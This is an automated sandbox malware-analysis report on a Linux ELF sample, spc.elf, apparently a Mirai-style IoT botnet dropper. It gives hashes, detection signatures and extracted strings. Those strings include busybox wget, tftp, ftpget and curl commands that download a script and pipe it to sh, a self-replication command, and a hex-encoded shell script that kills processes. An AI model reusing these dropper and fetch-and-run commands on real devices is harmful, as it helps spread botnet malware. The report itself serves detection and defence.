Linux Analysis Report
spc.elf

Overview

General Information

Sample name: spc.elf
Analysis ID: 1543141
MD5: f2411fee72345e79c48ce99ee7431e7b
SHA1: 60d2e9560d7a625387d62d35f3e557c3177f3c7f
SHA256: 34d1f494a8394789e88c291b64afc1f248f3ea0549dbffafd807dd8134bbd8e5
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 48
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: spc.elf ReversingLabs: Detection: 52%
Found strings indicative of a multi-platform dropper
Source: spc.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Sample listens on a socket
Source: /tmp/spc.elf (PID: 6230) Socket: 127.0.0.1:39148 Jump to behavior
Source: spc.elf String found in binary or memory: http:///curl.sh
Source: spc.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal48.linELF@0/181@0/0
Enumerates processes within the "proc" file system
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6254/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6254/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6253/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6253/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6256/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6256/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6256/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6256/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6333/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6333/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6255/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6255/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6258/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6258/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6258/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6258/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6257/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6257/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6257/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6257/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6270/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6270/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6270/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6270/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6272/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6272/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6271/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6271/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6271/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6271/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6241/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6241/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6263/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6263/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6263/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6263/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6262/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6262/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6262/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6262/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6265/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6265/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6265/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6265/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6264/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6264/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6264/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6264/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6267/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6267/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6267/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6267/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6266/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6266/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6266/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6266/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6269/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6269/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6269/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6269/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6268/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6268/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6268/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6268/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6261/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6261/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6261/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6261/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6260/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6260/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6260/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6260/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6282/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6282/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6282/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6282/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6259/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6259/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6259/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6259/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6317/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6317/cmdline Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6317/maps Jump to behavior
Source: /tmp/spc.elf (PID: 6236) File opened: /proc/6317/cmdline Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6272) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.mx2OgcVPFY /tmp/tmp.dEaMLCuelD /tmp/tmp.rW26XZ5TQm Jump to behavior
Source: /usr/bin/dash (PID: 6281) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.mx2OgcVPFY /tmp/tmp.dEaMLCuelD /tmp/tmp.rW26XZ5TQm Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/spc.elf (PID: 6230) Queries kernel information via 'uname': Jump to behavior
Source: spc.elf, 6230.1.000055b793db7000.000055b793e3c000.rw-.sdmp, spc.elf, 6234.1.000055b793db7000.000055b793e3c000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: spc.elf, 6230.1.000055b793db7000.000055b793e3c000.rw-.sdmp, spc.elf, 6234.1.000055b793db7000.000055b793e3c000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: spc.elf, 6230.1.00007fffb64d8000.00007fffb64f9000.rw-.sdmp, spc.elf, 6234.1.00007fffb64d8000.00007fffb64f9000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/spc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/spc.elf
Source: spc.elf, 6230.1.00007fffb64d8000.00007fffb64f9000.rw-.sdmp, spc.elf, 6234.1.00007fffb64d8000.00007fffb64f9000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc

No Screenshots

⊘No contacted IP infos